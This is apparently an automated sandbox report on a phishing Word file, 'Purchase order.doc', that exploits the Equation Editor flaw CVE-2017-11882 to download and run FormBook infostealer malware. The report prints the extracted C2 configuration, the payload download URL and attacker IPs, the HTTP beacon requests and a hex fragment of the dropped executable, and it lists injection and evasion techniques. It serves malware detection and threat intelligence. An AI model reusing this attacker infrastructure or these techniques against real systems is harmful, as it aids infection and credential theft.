Windows Analysis Report Purchase order.doc

Overview

General Information

Sample Name: Purchase order.doc
Analysis ID: 510256
MD5: b0e95a4af180627b781257494c5bd43b
SHA1: a660ad6781f25a7a3ce699751495f0cb2adf7196
SHA256: 51d82db8f2b1b3d5387e3c400b1a3ad27371e4340343aa4affe4165d51334d90
Tags: doc
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
Sigma detected: Droppers Exploiting CVE-2017-11882
System process connects to network (likely due to code injection or exploit)
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Modifies the prolog of user mode functions (user mode inline hooks)
.NET source code contains potential unpacker
Injects a PE file into a foreign processes
Office equation editor drops PE file
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Document has an unknown application name
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Potential document exploit detected (performs DNS queries)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Downloads executable code via HTTP
Contains functionality for execution timing, often used to detect debuggers
Document misses a certain OLE stream usually present in this Microsoft Office document type
Contains long sleeps (>= 3 min)
Enables debug privileges
Document contains no OLE stream with summary information
Found inlined nop instructions (likely shell or obfuscated code)
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Checks if the current process is being debugged
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.filecrev.com/jy0b/"], "decoy": ["lamejorimagen.com", "mykabukibrush.com", "modgon.com", "barefoottherapeutics.com", "shimpeg.net", "trade-sniper.com", "chiangkhancityhotel.com", "joblessmoni.club", "stespritsubways.com", "chico-group.com", "nni8.xyz", "searchtypically.online", "jobsyork.com", "bestsales-crypto.com", "iqmarketing.info", "bullcityphotobooths.com", "fwssc.icu", "1oc87s.icu", "usdiesel.xyz", "secrets2optimumnutrition.com", "charlotte-s-creations.com", "homenetmidrand.com", "sytypij.xyz", "tapehitsscriptsparty.com", "adelenashville.com", "greendylife.com", "agbqs.com", "lilcrox.xyz", "thepersonalevolutionmaven.com", "graciasmiangel.com", "heidisgifts.com", "flchimneyspecialists.com", "yorkrehabclinic.com", "cent-pour-centsons.com", "marcoislandsupsurf.net", "expressdiagnostics.info", "surferjackproductions.com", "duscopy.store", "uekra.tech", "campaigncupgunplant.xyz", "cheetahadvance.com", "blickosinski.icu", "laketacostahoe.com", "drippysupplyco.com", "isomassagegun.com", "clarition.com", "andrew-pillar.com", "truthbudgeting.com", "cloudfixr.com", "cfasministries.com", "compliant-now-beta.com", "kssc17.icu", "plewabuilders.com", "uslugi-email.site", "167hours.com", "sodo6697.com", "voyagesify.com", "ranodalei.com", "culturao.com", "littlepotato-id.com", "integtiryhvacsanmateo.com", "neatmounts.com", "reddictnflstream.com", "digistore-maya.com"]}
Multi AV Scanner detection for submitted file
Source: Purchase order.doc Virustotal: Detection: 40% Perma Link
Source: Purchase order.doc ReversingLabs: Detection: 34%
Yara detected FormBook
Source: Yara match File source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.360e380.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://binatonezx.tk/villarzx.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: binatonezx.tk Virustotal: Detection: 15% Perma Link
Source: www.filecrev.com Virustotal: Detection: 5% Perma Link
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\villarzx[1].exe ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Roaming\villar8681.exe ReversingLabs: Detection: 37%
Antivirus or Machine Learning detection for unpacked file
Source: 5.0.villar8681.exe.400000.5.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.villar8681.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.0.villar8681.exe.400000.9.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.0.villar8681.exe.400000.7.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\villar8681.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\villar8681.exe Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RAServer.pdb^ source: villar8681.exe, 00000005.00000002.462916588.0000000000570000.00000040.00020000.sdmp
Source: Binary string: wntdll.pdb source: villar8681.exe, raserver.exe
Source: Binary string: RAServer.pdb source: villar8681.exe, 00000005.00000002.462916588.0000000000570000.00000040.00020000.sdmp

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: binatonezx.tk
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4x nop then pop edi 5_2_00416CD7
Source: C:\Windows\SysWOW64\raserver.exe Code function: 4x nop then pop edi 7_2_00096CD7
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 2.56.59.211:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 2.56.59.211:80
Source: winword.exe Memory has grown: Private usage: 0MB later: 106MB

Networking:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.charlotte-s-creations.com
Source: C:\Windows\explorer.exe Network Connect: 54.156.84.168 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.filecrev.com
Source: C:\Windows\explorer.exe Network Connect: 202.165.66.108 80 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.filecrev.com/jy0b/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: GBTCLOUDUS GBTCLOUDUS
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /jy0b/?06384Dqp=TyGDJhL/cA+57wfufaZRyMMrQk8uPd2d6NfY81Rsj46bZhOJLXgZ522BupBE7+BqQsP88Q==&ct=Xhh4nL38YNvpj HTTP/1.1Host: www.filecrev.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /jy0b/?06384Dqp=AerW1ym2Fscv67+RpL/0se6tZB+gK2Llczeyi+qylm7PPSapsOoYwZFX50tzMVhi1EMssA==&ct=Xhh4nL38YNvpj HTTP/1.1Host: www.charlotte-s-creations.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 2.56.59.211 2.56.59.211
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 27 Oct 2021 14:39:11 GMTServer: Apache/2.4.48 (Unix) OpenSSL/1.0.2k-fipsLast-Modified: Wed, 27 Oct 2021 07:18:31 GMTETag: "82400-5cf5066baacfe"Accept-Ranges: bytesContent-Length: 533504Vary: User-AgentKeep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e4 a2 78 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 18 08 00 00 0a 00 00 00 00 00 00 0a 36 08 00 00 20 00 00 00 40 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 35 08 00 4f 00 00 00 00 40 08 00 28 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 08 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 10 16 08 00 00 20 00 00 00 18 08 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 28 06 00 00 00 40 08 00 00 08 00 00 00 1a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 08 00 00 02 00 00 00 22 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 35 08 00 00 00 00 00 48 00 00 00 02 00 05 00 10 be 00 00 b8 be 00 00 03 00 00 00 74 01 00 06 c8 7c 01 00 f0 b8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 02 28 17 00 00 0a 00 00 2a 00 00 1b 30 02 00 48 00 00 00 01 00 00 11 14 80 01 00 00 04 73 18 00 00 0a 80 02 00 00 04 00 7e 02 00 00 04 0a 16 0b 06 12 01 28 19 00 00 0a 00 00 7e 01 00 00 04 14 fe 01 0c 08 2c 0a 73 01 00 00 06 80 01 00 00 04 00 de 0b 07 2c 07 06 28 1a 00 00 0a 00 dc 2a 01 10 00 00 02 00 19 00 23 3c 00 0b 00 00 00 00 13 30 01 00 07 00 00 00 02 00 00 11 00 16 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 03 00 00 11 00 73 0b 00 00 06 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 04 00 00 11 00 73 52 00 00 06 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 05 00 00 11 00 73 54 00 00 06 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 06 00 00 11 00 73 a1 00 00 06 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 07 00 00 11 00 73 cf 00 00 06 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 08 00 00 11 00 73 da 00 00 06 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 09 00 00 11 00 73 80 00
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /villarzx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: binatonezx.tkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.21.0Date: Wed, 27 Oct 2021 14:40:40 GMTContent-Type: application/json; charset=utf-8Content-Length: 181Connection: closeX-Powered-By: ExpressETag: W/"b5-7t+tQyc7QpflCZNr+ruKCrIOKs0"Data Raw: 7b 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 34 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 43 61 6e 6e 6f 74 20 47 45 54 20 2f 63 6c 69 63 6b 2f 70 72 6f 78 79 6a 73 2f 6a 79 30 62 2f 3f 30 36 33 38 34 44 71 70 3d 54 79 47 44 4a 68 4c 2f 63 41 2b 35 37 77 66 75 66 61 5a 52 79 4d 4d 72 51 6b 38 75 50 64 32 64 36 4e 66 59 38 31 52 73 6a 34 36 62 5a 68 4f 4a 4c 58 67 5a 35 32 32 42 75 70 42 45 37 2b 42 71 51 73 50 38 38 51 3d 3d 26 63 74 3d 58 68 68 34 6e 4c 33 38 59 4e 76 70 6a 22 7d Data Ascii: {"statusCode":404,"error":"Not Found","message":"Cannot GET /click/proxyjs/jy0b/?06384Dqp=TyGDJhL/cA+57wfufaZRyMMrQk8uPd2d6NfY81Rsj46bZhOJLXgZ522BupBE7+BqQsP88Q==&ct=Xhh4nL38YNvpj"}
Source: explorer.exe, 00000006.00000000.430288611.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: explorer.exe, 00000006.00000000.433248937.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000006.00000000.430288611.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000006.00000000.430288611.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.437621444.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000006.00000000.441622463.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000006.00000000.441622463.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: villar8681.exe, 00000004.00000002.428624622.0000000005010000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.503415143.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000006.00000000.432356441.0000000003E50000.00000002.00020000.sdmp, cmd.exe, 00000008.00000002.467536657.0000000001D60000.00000002.00020000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000006.00000000.441622463.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000006.00000000.432208607.0000000003D90000.00000004.00000001.sdmp String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
Source: explorer.exe, 00000006.00000000.453889222.0000000008448000.00000004.00000001.sdmp String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: explorer.exe, 00000006.00000000.433248937.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000006.00000000.433248937.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000006.00000000.441622463.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: villar8681.exe, 00000004.00000002.428624622.0000000005010000.00000002.00020000.sdmp, explorer.exe, 00000006.00000000.503415143.0000000001BE0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000006.00000000.437621444.0000000000255000.00000004.00000020.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: villar8681.exe, 00000004.00000002.427737802.00000000024D1000.00000004.00000001.sdmp String found in binary or memory: http://www.collada.org/2005/11/COLLADASchema9Done
Source: explorer.exe, 00000006.00000000.433248937.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000006.00000000.430288611.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000006.00000000.441622463.0000000002CC7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000006.00000000.433248937.0000000004650000.00000002.00020000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000006.00000000.452985686.0000000007159000.00000004.00000001.sdmp String found in binary or memory: http://www.mozilla.com0
Source: explorer.exe, 00000006.00000000.506295914.000000000449C000.00000004.00000001.sdmp String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: explorer.exe, 00000006.00000000.506295914.000000000449C000.00000004.00000001.sdmp String found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
Source: explorer.exe, 00000006.00000000.430288611.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000006.00000000.437737820.00000000002C7000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000000.437737820.00000000002C7000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.430288611.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.442147591.0000000003DF8000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
Source: explorer.exe, 00000006.00000000.451281002.0000000004513000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
Source: explorer.exe, 00000006.00000000.506586274.00000000045CF000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1LMEM
Source: explorer.exe, 00000006.00000000.437621444.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://support.mozilla.org
Source: raserver.exe, 00000007.00000002.680534004.0000000002B5F000.00000004.00020000.sdmp String found in binary or memory: https://www.charlotte-s-creations.com/jy0b/?06384Dqp=AerW1ym2Fscv67
Source: explorer.exe, 00000006.00000000.437621444.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000006.00000000.437621444.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3AC3AA43-F534-4DDB-AF6A-E52603844969}.tmp Jump to behavior
Source: unknown DNS traffic detected: queries for: binatonezx.tk
Source: global traffic HTTP traffic detected: GET /villarzx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: binatonezx.tkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jy0b/?06384Dqp=TyGDJhL/cA+57wfufaZRyMMrQk8uPd2d6NfY81Rsj46bZhOJLXgZ522BupBE7+BqQsP88Q==&ct=Xhh4nL38YNvpj HTTP/1.1Host: www.filecrev.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /jy0b/?06384Dqp=AerW1ym2Fscv67+RpL/0se6tZB+gK2Llczeyi+qylm7PPSapsOoYwZFX50tzMVhi1EMssA==&ct=Xhh4nL38YNvpj HTTP/1.1Host: www.charlotte-s-creations.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.villar8681.exe.360e380.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.villar8681.exe.360e380.4.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
